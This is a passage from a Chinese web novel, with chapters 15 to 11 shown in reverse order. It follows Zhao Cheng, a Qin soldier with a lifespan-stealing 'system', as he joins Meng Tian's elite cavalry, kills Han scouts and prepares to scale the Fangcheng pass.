“杀!!不要怕!怕也是死路一条!”
“杀!!”
韩军嘶吼着,给自己壮胆,然后汹涌着一拥而上!
不远处,压力渐轻的冯全众人解决了为数不多的守军,疑惑的扭头一看,顿时大惊失色!
第15章 筋如铁打,骨如精钢!
林间安静的可怕,众人看着端坐马上安静如山的英武少年,都是心惊不已。
这小子是个血屠阎罗啊,这一路杀过来,没有看到一个活口!
他们这些后面的队伍,硬是连一个能动的敌人都没看到,全都是没了脑袋的斥候尸体!
此时就连两个百将,都是讷讷无言。
这一战才刚刚开始,这小子的功绩已经可封百将,能压他们一头,再结合蒙恬和将军对他的态度,此子未来前途无量,两个百将哪里敢对赵诚托大?
想来想去,两人上前行礼,“小兄弟,接下来如何行动,可有安排?”
赵诚睁眼,瞬间如猛虎苏醒,杀伐之气透眸而出,令两个百将同时一惊!
“准备攻坚!”
他看了看汇集过来的突骑精锐,大概有一百六十人左右,经过刚刚的观察,方城南麓的守军不算多,只算城墙驻守的大概在五百左右,后方还有多少不确定。
“马匹放在这里,随我摸上去,占领方城南麓,等后援赶到,杀上隘口,里应外合,拿下方城。”
众人咽了咽口水,激动与紧张同时在心中腾起。
此举若成,定是大功,但其中凶险,也是不言而喻,就算他们都是精锐,但也只有一百六十余人,且无登城器械,云梯之类。
就说这方城的墙不高,那也是易守难攻。
凶险极大。
既然有凶险,自然就有人不想配合。
其中那个长脸塌鼻梁的百将说道,“此举风险实在是太大,若是被地方提前发现,城还没登上去,就被箭射成了马蜂窝。”
“小兄弟,你毕竟没有什么作战经验,不知道以下攻上的艰难,对方居高临下,又占据有利之地,驻守人数更多,我们不可能占领下来的。”
“就算对方没有能够提前发现我们,我们又能登上去多少人?到时候他们反应过来,上面之人被围,下面的人被打退,就是进退维谷,此为大败!”
也有不想冒险的人帮腔道,“是啊,就算咱们勉强占领,还不知道会死多少人,损失惨重,就是惨胜也要受罚的。”
秦军制行连坐,百将犯错,屯长皆罚。
而到了屯长百将职位之后,立功就不再是单纯以自己杀敌获得的首级来计算功绩了,而是以指挥的团队杀敌数量,扣除指挥团队损失数量,剩余的敌首数量来计算功绩是否足够升职升爵。
比如领五十人的屯长,爵位簪袅,升爵需要全屯斩获三十三枚甲首。
那么在一场战斗中,他率领的五十人死了十个人,但队伍的杀敌数量达到了四十三,他就可以封爵不更,升职百将,领百人。
而若是死了三十人,杀敌数量却不过三十,那便要受重罚!
也正因为如此,两名百将虽然钦佩赵诚的勇武,也愿意尊敬他,但是涉及到自己失职的风险,他们就不那么愿意冒险了。
毕竟杀敌建功是不确定的,但是损失却是一定的。
赵诚见状,也不勉强,毕竟现在名义上他只是个什长。
蒙恬的命令是:战机合适,登上方城南麓。
此时战机合不合适,见仁见智,可能会有更合适的战机情况,但此时战机已是难得,而且稍纵即逝,必须把握。
他环顾四周,“如今我们急行奔袭至此,敌方斥候暗哨全都被我斩杀,但是更侧方的却不一定,随时有可能将突袭信息传递到方城南麓,战机稍纵即逝。”
“我不能否认风险存在,死亡也一定会发生,但是此乃关键战机,若能在后方骑军抵达之前占领南麓,便可一举攻上方城隘口,与大军里应外合,彻底打开南阳东侧大门!”
“五百主命我为锋,我责无旁贷做前锋,第一个登上城墙,杀敌血战!愿意随我冲的,跟着我到前面来,不想冲的,在下方弓箭掩护!”
他面色平静如湖,但那一双炽烈的眸光,却耀的众人心魂激荡。
何其强大的底气,何其锐利的锋芒!
只见赵诚上前几步,在其身后,冯全等十人一如既往紧随其后,而紧接着,越来越多的人上前,追随在赵诚身后。
足有近百人,剩下六七十人也有些犹豫。
而两名百将之中,没说话的那名百将也坚定的上前了。
长脸百将叹息一声,“好吧,我带人在墙下掩护,此举凶险,某祝各位凯旋!”
意见相左,不过是一方激进,一方保守,但大家都是袍泽,他也是真心希望同袍活着回来。
赵诚下马,身形如野豹般向上摸去,悄无声息。
在其身后,都是身经百战的精锐,经验丰富,亦是悄无声息。
百余人如同鬼魅般,飞快地向上摸去。
而赵诚则是心神沉入系统,准备将大量寿命投入推演,他这一次要做先锋登城,就算炼肉大成,也是血肉之躯,更无作战经验。
可以说此战他也毫无把握,所以必须在登城之前,尽可能的提升实力,增加存活几率。
“系统,投入五百年寿命推演基础炼体诀……”
【开始投入寿命推演基础炼体诀。】
【第一年,你按照炼体诀之中的动作不断锤炼周身大筋,迟滞的大筋好似肉体的桎梏,你开始意识到,筋膜是劲力之纲!】
【第三年,你终于找到了一点感觉,每一次锻炼,身体都会出现一股尖锐的抽筋一般的疼痛,好似所炼部位的大筋即将撕裂一般,你在痛苦中不断精进……】
【第十年,你的大筋越发坚韧,你的身体可通过筋膜传导爆发整劲,将全身力道凝结,于大筋之中流窜滚动,叠加于一拳一掌之上!】
【第三十年,你一举一动间,浑身大筋如同弓弦蓄势,尽皆蕴含无尽力量,但到此时,你敏锐察觉到身体之中有许多角落的细小筋膜很难练到,它们好似铁索,横亘在关键部位,阻隔了你力量的传输,又需要以非常古怪的姿势进行针对性训练,你开始艰难锻炼身体各个角落的细小筋膜……】
【第五十年,你不眠不休,拼命锻炼身体各处的细小筋膜,最终将所有筋膜都锤炼完成,浑身肌肉筋膜合纵连横,将全身力量联横成为几大股,解封了大部分肌肉的力量……】
【第一百年,你的大筋如龙,浑身力道游走,筋膜愈发坚韧。】
【第一百三十年,你的筋膜坚韧如铁索联横,你觉得就算是极为锋利的刀剑,也很难斩开筋膜覆盖的躯体部位。】
【第一百五十年,你浑身筋膜无缺,坚韧无比,力量丝缕集结如龙,你突破炼筋大关,踏入炼骨大关!】
这一刻,赵诚浑身骤然绷紧,扶着的树干的手瞬间抓握,一半树干在悄无声息之间,直接被他捏成了木粉!
他浑身筋膜抽动,于层层肌肉之间迅速扭动蜕变,与肌肉结合,浑身大筋犹如铁索联横。
最终,筋如钢缆,联横如虎肌肉,解封出了无穷力量,让他感觉肉身坚韧无比的同时,更是力大无穷。
“以我如今的筋膜强度,就算没有身上的轻甲,敌方的刀剑也很难砍穿我的筋膜,伤害到我的要害,只有没有筋膜覆盖的一些缝隙,以及皮下大动脉,才比较危险。”
浑身筋膜的蜕变,让他此刻充满了安全感,“再加上我的力量又被解封了极多,速度也快了许多倍,战场杀伐的能力也大幅度增强了,此时就算有一头猛虎在前,也能随手轰杀!”
“就是骨头好像有点不顶用了。”赵诚甩了甩手,感觉指骨微微发疼。
在其身后,冯全手扶树干紧紧跟随,突然感觉有些不对劲。
这树怎么缺一块?
他低头一看,突然双眸暴睁。
树干上竟有一块被手掌抓出来的缺口,五指痕迹竟然清晰可见!
他视线落在满手木屑的赵诚手掌上,整个人都傻了。
这他娘的是人手??
此时,推演还在继续。
【第一百五十一年,你开始察觉到,在巨大的肌肉力量下,你的骨骼承受压力太大,经常会发出疼痛的警告来,你开始蕴养骨骼。】
【第一百六十年,你感到蕴养骨骼无比艰难,基础炼体诀真是太基础了,没有什么动作能够直接锤炼到骨头,只能通过极限力量造成骨头微损,再进行修复,痛苦且进展非常缓慢,你感到有些苦恼。】
【第一百七十年,炼骨进展缓慢……】
【第二百年,骨骼坚固了许多,但是进展依然缓慢,你在长期的锻炼炼体诀中,察觉到了配合炼体的呼吸法的妙处,你开始聚焦于呼吸法上……】
【第二百三十年,你领悟了呼吸法的玄妙之处,并学会了通过呼吸搬运气血,你的气血很强大,通过气血蕴养骨骼,修复骨骼,事半功倍。】
【第二百五十年,通过气血蕴养,你的骨骼越发坚固,但你发现自己的气血虽然强大,但消耗的也很快,气血源于食物,需要每顿吃肉,甚至是天材地宝才能快速补充气血,但你条件不足,只能一边蕴养骨骼,一边慢慢恢复气血。】
【第三百年,水磨功夫之间,你的骨骼终于被锤炼的如同精钢一般,完全能够承载你的极限力量,你全力一拳,可将铁锭锤扁,而筋肉骨骼丝毫不会受损,你突破了炼骨大关!】
至此,筋如铁打,骨如精钢!
第14章 弓响阎王令
“咻!”
一声啸鸣极速接近,挟着死亡之风扑面而来。
赵诚瞬间回过神来,眼疾手快地将身旁的冯全一把拉下马,一枚锋锐的箭矢贴着冯全的后脑勺射了过去,直直地钉在后面的树桩上面,没入箭锋!
冯全瞬间出了一身冷汗,惊恐看向身后的箭矢,刚刚他陷入震惊之中,竟然没有察觉有敌方的游骑斥候摸到了不远处!
此时那游骑斥候见被发现,第一时间奔马远去!
他刚刚的位置,本来就是射箭的极限距离,如今跑得又快,眨眼之间已经跑出了正常斥候的射程之外。
“想跑?”
赵诚轻笑一声,开弓便射!
箭出如流星,倏忽便至游骑身后!
那游骑斥候无论如何也想不到,这家伙的射程如此之远,等到意识到危机回头的时候,已经晚了,那枚箭矢自他脑门一穿而过,带出一蓬鲜血。
游骑斥候瞬间倒地,马匹受惊远去。
赵诚远远扫视,见没有其它斥候,对冯全说道,“去把头割来。”
“是,大人!”
此时的冯全刚刚死里逃生,恨不得对着赵诚磕几个头,对赵诚已经是无比敬服,闻言屁颠屁颠就骑马赶了过去,而后将头割了下来。
但在递给赵诚的时候,赵诚却说道,“挂你马上。”
冯全惊喜,又不好意思道,“这不合适吧……”
赵诚无语,“我的马挂太多头影响行动,暂且存放在你那,回营之后再给我。”
冯全愕然,合着自己成拎头官了。
不过想想也是,这少年简直就是个阎王,往日里极其难杀的斥候游骑,只要被他看见,那就是死路一条。
在这位眼皮子底下,简直是一只苍蝇都放不过去!
斥候相接,想要杀掉对方也不是容易的事情,因为机动能力太强,保持距离的情况下,往往是极限射程互射,即使是箭术好的,也没有把握能够射到要害,甚至在复杂的地势环境中,连准确射到对方的马都很难做到。
除非有敌方斥候深入敌后,被己方包抄,这才算好杀一些。
哪有像赵诚这样,隔着那么远的距离,露头就秒。
这身经百战的突骑精锐们打了这么多场仗,也还是头一次遇到这样的情况,现在脑袋都是懵懵的。
还没等他们表达什么,赵诚已经再次策马奔袭而去,如一阵风一般,穿梭在复杂地形之中。
众突骑无奈,只得拼命追赶。
……
“这,怎么又是无头斥候?”
“嘶……又是一整队同时暴死,相距不超过十步,奇了怪了,往日里一个游骑斥候都难杀的要死,今天怎么一窝一窝的死?”
“听说韩军备力量松弛薄弱,没想到连斥候都这么弱。”
“可是这么弱的话,怎么咱们一个都遇不到?”
在赵诚一队人的右后方,同行斥候十人队再次遇到一队斥候尸体,不由得大为不解。
正这时,另一个方向的同行斥候队在暗哨证明身份之后,摸了过来。
一见地上的景象,露出惊奇之色。
“咦,你们这边也是如此?”
“是啊,你那边也有尸体?”
“嘿,还不少,你们在我前方,我还以为是你们干的,既然不是你们,那就是更前方那队,是……那个新兵什长!?”
“应该没错了,冯全那几个虽然比我们强点,但也有限,除了那个人,没法解释这情况啊。”
“这也太强了,怪不得直接当上了什长!”
“强什么,明显是韩的斥候骑兵太弱了。”
“非也,我们一队之前遭遇了敌方斥候,非常狡猾,用行迹诱敌,我们差点被他们埋伏,若非提前识破,现在已经交代了,对方的经验绝不弱于我们,你们可不能轻敌。”
听到这话,前方一队顿时脸色一肃,面面相觑之后,眼神都凝重了许多。
正这时,前方远处再一次传来微弱的箭矢破空鸣啸之声。
“这声音……不是第一次响起了,好像是那个叫赵诚的少年所负之弓!”
“走,去看看!”
片刻之后,两队人马同时来到地上堆放满队斥候尸首的地点,并和另外两队会了面。
“你们也听到了?”
“是那阵锋赵诚的弓!”
“这已经是第几队了?”
“光是我们看到的,就已经有两队了。”
“我这见过一队尸首,加三个游骑……”
“只要弓响,就有人死……”
“若是满队,就死满队,若是游骑,就死游骑,至今没看过缺编的尸首……”
“这得是多少军功啊?”
“不是,你们谁追上过前锋队?”
众人沉默对视,都是摇头。
这太奇怪了,前锋接战,收敛战功,必然耽搁行程和时间,但直到现在他们都没有追上过!
这速度,未免太快了,自己这些人什么都不干光是奔袭竟也追不上??
众精锐各自都是有些脸色发红,感到面上无光。
好歹是身经百战的精锐,结果竟然连人家新来的马屁股都追不上。
“继续前行吧,我有种预感,这首战先登之功,怕是要被拿下了。”
这短短一段时间里面,其他各个方向的同行斥候都或多或少地见过敌方的无头尸首,更近一些的,则偶尔听到弓响。
只要弓响,要不了多久他们就能看到尸体。
想要追上去和前锋交流一下,偏偏还追不上。
斥候们暗哨交流着,互通有无,渐渐都发现了这件事。
而侧面更远方位的斥候,则是处于艰难的遇敌接战、钩心斗角之中。
如果说整个斥候突骑是以赵诚队伍为尖锋,其余两侧队伍依次排开,如同一个‘人’字的话,那在‘人’字两边的最末端,战况周旋拉扯是最为激烈的。
“他娘的,故布疑阵!竟然只是一个游骑斥候!”
“你的腿没事吧?”
“没事,只是擦伤!”
“怎么黑了?”
“箭矢有毒!削肉!”
“哼!”
正这时,远处传来暗哨声音。
嚟!嚟嚟……
几人对视一眼,开始回话。
嚟嚟!嚟……
片刻后,几人脸色开始变得古怪。
“还有这种事??”
他们这边被一个游骑给玩成这样,中部前锋队方向死了一路满编斥候队??
这对吗?
……
咻咻咻!
鸣啸之声不绝于耳,赵诚那把极具辨识度的弓弦炸响声音不断传出,每一次炸响,都意味着有一个敌方斥候死亡!
若是连续响动两声以上,那就连远处的同行斥候都知道,敌方最少死了一个队的斥候!
赵诚不断开弓,收割着生命,同时也夺取着寿命!
【你击杀一名敌人,夺取寿命:三年!】
【你击杀一名敌人,夺取寿命:二十七年!】
【你击杀一名敌人,夺取寿命:十六年!】
……
【当前剩余寿命:782年】
越是靠近方城隘口南侧,遇到的暗哨和斥候越是密集。
但赵诚奔袭速度极快,且只要见到对方,就绝无活口逃出,往往敌方斥候连信息都没法传递出去,就被赵诚远距离射杀。
这样一来,突骑斥候前锋队,在敌方眼中,就和隐身了没有区别。
目前敌方斥候获得的信息都在大后方,就算他们立刻传信过来,在秦军斥候的拉扯纠缠之下,他们也追不上赵诚的速度,甚至连赵诚击杀辐射范围内、紧随其后的那些斥候突骑的速度敌方也追不上。
毕竟一方还在缠斗,另一方毫无阻碍压力地全速奔袭。
这就让赵诚这一支轻骑辐射范围内的所有队伍,全都成了一支奇兵。
马蹄踏在枯叶堆上面的闷响声渐渐消失,随着声音越来越小,方城南侧的墙下越发悄无声息。
“什长,前面就是方城南侧,若韩守军调兵前去支援叶县,这里的防守力量定会不足,就算他们不去防守,我们也可奇兵攻上方城南麓,制造混乱,帮主力大军调虎离山!”
冯全的手指在地图上面划过,对着赵诚说道。
此时他座下马匹之上已经挂满了首级,就连后面的两个伍长,都仁和封若的马上,也都快要挂满了。
林林总总,总共四十八颗敌军头颅。
这等功绩,就算是一个屯(五十人)打出来的,也足够屯长升爵了。
而这,却是一个刚入突骑营的新人自己打出来的,此战之后,凭借此功,必能升职百将,跨越公士、上造、簪袅,直封不更爵!
何其恐怖!
赵诚抬头看去,河谷尽头,楚方城的墙体在这里拐了个弯,借着地势形成天然屏障,但南侧山坡植被茂密,虽无正道方便马匹前行,却也可以攀藤附葛而上,更有奇袭之效。
距离很远,赵诚便打了手势,示意众人全部停止奔马,而是缓行上前。
这里距离方城太近了,已经能够隐隐看到城墙上的守军,但附近植被茂密,众人隐藏在阴影之下,借着植被的遮掩,对方也很难在阳光之下看到暗处的情况。
赵诚指挥着几人,悄然进入林间隐秘的地带,而后静静等待。
这一路上,所过之处,斥候暗哨全都被赵诚扫掉,并且沿途留下了突骑集结方向的标记。
估计用不了多久,后方队伍便能集结过来,到时候再摸上去,一举攻下方城南麓。
大约一炷香之后,后方突骑渐渐汇集过来。
因为没有什么敌人可杀了,所以后面的队伍渐渐都汇聚到了一起,此时分散开来依次按照标记,与前锋汇合。
而当他们看到前方那一队,挂满头颅的三匹马之后,全都是倒吸了一口凉气。
就连两个百将,也是浑身一震,暗叹从没见过这样的场面。
第13章 赵诚首战,以血开锋
“之后赵诚是你们的什长,冯全暂为伍长,主要负责辅佐赵诚。”
蒙恬虽为五百主,但也是从基层一点点杀上来的。
冯全这几支,都是突骑营之中能做斥候的精锐,也是他最开始的部下,所以对于他们很是熟悉。
秦制军伍之中,五人为伍,一人领四人;十人为什,两名伍长在十人之中,什长却不属于这十人之内,而是独立出来的指挥军官,临战时,会带头冲锋。
所以现在冯全虽然成了伍长,但是却没有兵给他领,蒙恬也没有另外给他进行分配。
一来,他当伍长也是暂时的,要不了多久估计赵诚就又升职了,他就可以军复原职。
二来,赵诚刚开始入突骑,没有经历过什么战事,需要有人协助,传授经验,冯全这家伙经验丰富,是身经百战的老突骑了,协助赵诚会很得力。
蒙恬看了看赵诚,赵诚点头示意自己理解了。
蒙恬便回到前方,继续领军前行。
……
第二日午时,叶县东南。
此时已经是深秋,伏牛山脉的山壁都被枫叶染红,枯叶落下,有几分萧瑟之意。
大军穿过官道,已经隐隐能够看到依托方城山建立的方城隘口,那是之前楚国在此地修筑的楚方城,可谓是一夫当关,万夫莫开的关隘之地,至今尚未攻克。
在隘口之外,堆放着无数尸首,鲜血染红了地面。
秦国大军之中,蒙武遥遥望去,眸中闪烁明光,早已成竹在胸。
“此地乃南阳东侧的天然门户,易守难攻,虽说攻下了之后,可直插宛城东侧,切断韩国与楚国的陆路联系。但韩以此险地阻我,强攻得不偿失……”
蒙武挥舞令旗,大军无视方城隘口的韩守军,直直逼近叶县南门。
此时压力给到驻守方城的韩军,叶县若失,南阳正北门户将大开,可若是支援叶县,那又如何守住方城隘口的周全?
正焦虑纠结之间。
秦军后方,一千五百轻骑悄然分流,沿着伏牛山脉奔袭,融入西侧滍水河谷之中,裹着厚麻布的马蹄踏着枯叶堆,发出沉闷的声响,直奔方城隘口南侧。
蒙恬一马当先,其后左侧便是飞骑赵诚。
“父亲兵临叶县,是要给方城隘口压力,不论方城隘口是否分兵,其防守都会有空缺可入,我等奔袭隘口南侧,事以密成,这一路斥候暗哨都不会少,待会五百突骑将撒出去,以你为锋,此先登之功,就看你的了!”
蒙恬奔马向前,回头笑望赵诚。
宝剑出鞘,当以鲜血开刃。
此乃赵诚第一战,他要给足赵诚战机!
赵诚目光如炬,抱拳笑道,“多谢兄长!”
蒙恬点了点头,手中令旗挥舞,哨声响起。
“二百斥候骑听令,以赵诚为锋,向前侦察五十里,逢暗哨斥候,尽斩之!战机合适,攻上方城南侧,里应外合,攻破隘口!”
“得令!”
赵诚一夹马腹,胯下黑光油亮的高头大马瞬间窜出去一大截,强风似刀,将他的发丝吹得向后拂去。
在其身后,无数斥候突骑自他两侧相继跟上,如大雁横空之阵,渐次排开,向着远处撒去!
随着地势渐宽,二百骑奔马之间相距也是越来越远,赵诚身后,只有他那十人手下,以及紧随身旁的、还有些郁闷的冯全。
冯全不知道自己是怎么输的,醒过来的时候已经在马腹上被驮着走了很远了。
但不管如何,对于赵诚的骑术,他却是叹服的,而且他也是个愿赌服输的汉子,既然输了,就要好好的辅佐赵诚,将自己的经验倾囊相授。
“什长,这里有马蹄印,枝叶折断,方向向南,估计用不了多久,咱们就要遭遇敌方斥候了!”
他话音刚落,却见前方赵诚已经开弓搭箭,强横的臂力仿佛能够撑开天地一般,那看着就沉重厚实的乌木弓瞬间被其拉满,有如满月!
最让冯全震惊的是,这家伙竟然同时搭上了三支箭!
射箭还有这种射法?
懵逼之间,弓弦炸响!
那三支箭并没有按照冯全的想法四处乱射,而是笔直向前,如流星、如霹雳,瞬间消失,穿越枝叶,跨越野林,消失不见!
而后惊悚的,远方传来微弱惨呼和惊呼声。
惊呼刚刚传来,眼前的赵诚奔马之间已经二次开弓,再次两箭射了出去!
咻咻两声鸣啸!
远方再次传来两声惨呼!
而后再无声息……
冯全咽了咽口水,感到口干舌燥,我刚刚看到痕迹啊兄弟,你把人都杀光了!?
什么目力!?
而且这种奔马速度,这种距离,还是一弓数箭,你到底是怎么射中的啊大哥??
要不要这么神?
这样显得我很没用啊!
“跟上!”
前方赵诚轻喝一声,猛然加速,后方十一人顾不得惊骇,紧随其后。
这种地形,就非常的考验马术了,饶是这些突骑中的精锐,面对相对稀疏的林子,奔马速度也快不起来。
但是再看赵诚,这家伙就像是无视了那些树丛一般,简直就像是人马合一,在林子里面跳舞!
一点狼狈和失措都没有,游刃有余到了极致,手下完全跟不上他的速度,只能看他越拉越远。
“慢点啊哥!”
冯全脑门子都冒汗了,实在是没有见过这种神人!
他这才知道,五百主大人哪里是要扫他的面子,要他的位置,完全是太给他面子了,这种神人要坐他的位置,一个破什长,哪里还需要比试,需要他服气?
就凭刚刚那一手箭术,在这突骑营想做什长,都是瞬间的事情。
依照军制,斩获甲士首级一颗,封公士爵,田一顷,宅一处,庶从一人,军职伍长!
斩首两颗,则封上造,田宅仆从翻倍,军职什长!
按照刚刚那几箭的情况来看,他这什长大人的位置已经是名副其实了,而且他杀得是斥候,敌军之中的精锐骑兵,首级要值钱的多!
惊叹间,几人已经跟上了赵诚的步伐,却见地上躺着五具无头尸体,赵诚的马上,已经挂上了五颗首级。
赵诚身上染血,双手猩红,脸色微微苍白,一双眸子却煞气四溢,不但没有被鲜血和尸首吓到,反而像是激发了某种凶性!
结合他那精壮如虎的躯体以及炽烈如阳的精气神,让人如面凶虎!
就连冯全,也是感到身上一凉。
这家伙,是天生的凶神啊!
赵诚目光之中闪烁着激动,心脏更是如同肋骨,双手也有些微微颤抖。
说实话,这是他第一次杀人,那种感觉不可明说,难以自抑,不适感确实有,但更多的是一种凶狠战栗,如野狼遇血的亢奋,一股非常原始的凶性正在他心中觉醒。
同时,更让他激动的是,系统之中传来的信息。
【你击杀了一名敌人,夺寿四十八年!】
【你击杀了一名敌人,夺寿三十五年!】
【你击杀了一名敌人,夺寿三十七年!】
【你击杀了一名敌人,夺寿四十二年!】
【你击杀了一名敌人,夺寿十八年!】
【当前余寿:246年7个月】
当前寿命二百四十余年,杀敌竟可全比例夺寿!
第12章 立威服众
蒙威早就为赵诚准备了一匹良驹,唤人牵来。
只见一匹纯黑色高头大马缓步而来,不时甩着马头,想要挣脱吏员手中的缰绳,吏员脸涨得发红,才算将其拽住。
其皮毛油亮,胸宽腿圆,眼神中透着灵性,一看便是上等良驹。
蒙威说道,“这匹马脾气不太好,你可能需要适应一段时间,不过以你的骑术来说,应该也要不了多久。”
赵诚点了点头,默默将蒙威的关照记在心中,也不矫情,上前摸了摸马头,而后翻身上马。
说来也怪,这马被牵来的时候还焦躁不安,被他摸了两下,就乖顺的可怕,安安静静地立在原地,还回头蹭了蹭赵诚的手掌。
赵诚拍了拍马头,又翻身下来了,感觉已经非常熟悉。
这一幕,看得众人都是沉默无言。
“当我没说。”蒙威又调来半身甲,以及一柄青铜剑,交给赵诚。
“县里的装备相对于中央军的装备来说可能要差上一些,这些已经算是良品了,你先用着,等回了中央军,自会有人为你分配新的装备,想必到时候你的装备已经不是普通锐士的战甲了。”
蒙威轻声说着,言语之中却含着深深期许。
赵诚不言,只深深揖礼。
蒙威带着调来的兵粮送至城外,交接完成之后,赵诚与之别过,汇入沉默的黑色洪流之中。
甲胄撞击的沉闷声响之中,大军开拔,奔赴南方。
……
“韩到现在还没有献出南阳?”
“月余之前,韩渐有献出南阳称臣之意,但是几名被咱们策反的大臣东窗事发,尽皆被斩首之后,韩就变成了抵抗派,王上大怒,又以强兵威慑施压,韩顽抗之意愈发明显,前线战事逐渐激烈,这才让我父亲率领五万中央军,沿途调兵,汇集十万大军奔赴战场。”
“韩若不降也无妨,咱们便将南阳打下来。”
赵诚有些愣怔,感觉历史走向发生了变化,问题可能就出现在那些被秦策反的大臣上,一点点影响,引发了蝴蝶效应,导致韩从投降派变成了死战派。
不过赵诚倒是觉得这样更好,若是直接献上南阳,那攻破韩都就太简单了,也没有几场仗可以打。
像现在这个情况,就算韩成了死战派,经过之前的多次战争之后,他们早已是强弩之末,根本抵不住秦的虎狼之师。
蒙恬领着赵诚进入骑兵队伍中。
他虽入伍没有几年,但凭着家传兵法和战机,在多次小规模战争中获取了不少军功,如今已经是五百主,领突骑营。
此次发兵,中央军调来的骑兵不止五百,但突骑营这种精锐骑兵只有五百,都是身经百战的主儿。
“哪来的新兵,怎么领到这里来了?”
“看着体格子挺不错的,不会是过了考核,被五百主看中,要引入中央军突骑营吧?”
“看马和装备,应该是这意思了。”
“不过一个毛头小子,直接就进入突骑营,未免有点……”
“希望他不会拖后腿吧。”
“咱们进突骑营,可没少受罪,更是多少次死里逃生,杀进来的,这新兵怎么能直接就进来了,心里不平衡啊。”
似乎是听到了最后那句话,蒙恬目光锁定那名什长。
“冯全,出列。”
“是。”
蒙恬指着赵诚说道,“给你一炷香,击败他,升屯长,领兵五十,否则降至伍长,什长位置给他。”
冯全看了一眼高壮英武的赵诚,咧嘴乐了,“谢五百主。”
众人见状,纷纷羡慕得眼睛发红。
不需要军功就能够升职的好事怎么没有落到他们的头上!
大家都是身经百战之人,击败一个毛头小子也叫个事?这就能升职了,怎么不让人羡慕?
一个平常与冯全不对付的什长突然喊道,“大人,我来吧!冯全已经老了,打不过年轻人的!”
冯全大怒,“放屁,我让他一只手!”
蒙恬轻喝一声,“肃静!”
“全力以赴,否则军法处置。”
冯全领命下马,嘴上虽然不太瞧得起赵诚,但看那架势明显并不打算留力。
赵诚也下马,对着冯全抱了抱拳,还没说什么,冯全脚尖陡然狠狠踢在土地之上,一大股尘土碎石飞扬起来,直奔赵诚面容!
与此同时,冯全已经电射而出,举全身之力,一脚狠狠地踹向赵诚的胸腹。
诸多突骑都是咧了咧嘴,暗道这一脚挨上得疼上好几天。
赵诚挥开眼前的尘土碎石时候,那只大脚已经来到胸前三寸的距离。
不论谁看到这一幕,都觉得接下来赵诚会被一脚踹个狗吃屎。
连冯全自己的眼中,都流露出即将升职的欣喜。
但这一瞬间,赵诚动了。
刚刚还在挥散尘土的右手突然一把抓住了冯全的脚腕,轻轻一甩,冯全整个人就像是柳絮一样飘起。
赵诚抬腕,将冯全丢在空中,就像是甩一根木棍一样,让他在半空旋转起来,而后出手如电,轻飘飘地击打在冯全的脖颈上。
冯全噶的一声,翻着白眼晕了过去。
而后旋转着,嘭然趴在地上,砸起一阵的烟尘来。
所有突骑都是愣愣地看着,鸦雀无声。
从冯全突然出手,到冯全软倒在地,前后不过是一两个眨眼的功夫。
但是内容实在是太丰富骇人了,以至于所有人都没有反应过来。
这小子……是个人?
就那么一抓,冯全那么大个汉子就像是片布条子似的,变得轻飘飘的,还在空中旋转起来了??
之前说要代替冯全对战赵诚的人缩了缩脖子,缩在军阵之中低着头,默不作声地当起了鹌鹑。
赵诚上前两步,抓住冯全背后的衣服,将其扔到了对方的马上,而后在那只马的脑袋上拍了拍,“好好驮着,跟上。”
而后赵诚翻身上马,那只马竟然真的如他所说,稳稳拖着晕倒的冯全,跟在赵诚身后。
赵诚来到冯全之前的位置上,随军继续前行,没说什么话。
但是身后所有突骑的面色全都变了,其下属十人也是面面相觑,眼底都有惊骇之色,不知所措的跟着他。
第11章 两军交战,斥候先接
“军制军制,说军制做什么?”
“等他按军制选拔上去,到谁手里都不一定,能有我亲自关照培养来的好吗?”
“更何况,攻韩在即,正是建功立业的好时机,让他到你侄儿手下,两人一起建功立业岂不美哉?”
蒙威心头暗爽,还不服气的嘀咕道,“不是你说军制的……”
蒙武顿时下不来台,作势又要踹他一脚。
蒙威这才哈哈大笑,“去把赵诚唤来!”
蒙武没面子的哼了一声,心中却松了口气,如此少年神将,这下真是捡到宝了啊!
没多久,赵诚已至。
“蒙叔。”
蒙威看着眼前挺拔英武的少年,不由得越看越满意,想到一会就要将他交到兄长手中,竟莫名有些不舍。
“好小子,表现不错,就是有点低调了,其实没必要收着力。”
蒙武蒙恬一惊,这还是收着力表现的??
蒙威继续说道,“给你们介绍一下,赵诚。”
“赵诚,这是我兄长蒙武,也是此次大王派来攻韩的中央军将军,这是我侄儿蒙恬,深得我蒙家传兵法传承,此来随军历练,你们二人可以兄弟相称。”
说完,蒙武还没有说什么,蒙恬已经是激动的一步上前,对着赵诚抱拳一礼道,“刚刚一见,兄弟真是绝世猛将,蒙恬叹服,我虚长几岁,正巧有个弟弟与你年纪相仿,若不嫌弃,蒙恬愿以兄弟之礼相待。”
赵诚看着眼前还略显青涩的青年,古铜色的皮肤,浓眉虎目,面目爽朗,身材高大,透着股子忠厚,看着便让人心生可靠之感。
这位可是未来的名将!
更是始皇帝的心腹!
若非胡亥联合赵高篡改遗诏,若非蒙恬忠厚宁愿自杀不愿造反,有此顶梁柱为大秦遮风挡雨,大秦如何会二世而亡?
心中思绪万千,赵诚也抱拳揖礼,“诚乐意之至,兄长。”
蒙恬高兴坏了,如今他也还没崭露头角,尚有少年心性,如此猛人与他兄弟相称,如何不欣喜?
“快来,父亲说要你入突骑营呢!”
蒙武顿时有点绷不住了,“我还没决定呢!”
“嘿嘿。”蒙恬笑道,“阿诚有如此惊人的骑射之能,又力能扛鼎,不入突骑营可太可惜了。”
赵诚对突骑营没有什么概念,不由看向蒙威。
蒙威则是看向蒙武。
蒙武威严的面容柔和了一些,“你可愿入中央军,做突骑锐士?”
赵诚问道,“诚只想上阵杀敌,哪有有战,哪里有我!敢问将军,突骑锐士,可能第一时间攻阵,有杀敌建功之机?”
蒙武目露欣赏,也有些好笑道,“第一时间攻阵,那是轻装步兵的先锋营,大战起时,先锋营以弩机弓箭进行火力压制,袭扰破阵,而后中央军的重装锐士以方阵推进,瓦解敌方防线。”
“若论接敌杀敌,正面冲杀,自是中央锐士为先。”
赵诚觉得这太适合自己了,“那我想入中央锐士!”
蒙武噙着一丝笑意问道,“你入中央锐士,进正面战场,一战下来能杀多少人?又能建多少功?能杀穿成千上万人,擒敌主将,斩敌旗帜吗?”
赵诚认真想了想,虽然如今炼肉大成,但想以一人之力杀穿敌阵,那还是不可能的,除非军阵非常薄弱,不然他越深入敌阵,消耗体能越多,就算体力再好,也没法逆流而上,杀穿军阵。
于是他摇了摇头。
见到赵诚竟然真的认真思考起来,蒙武不由得有些无语,可能这种猛人和正常人想事情不一样?
“所以啊,以你的能力,应该去更重要的位置,才能发挥出你更多的锋芒来。”
“中央军的突骑营非常重要,在每一场大战之中,都是最为关键的一环。”
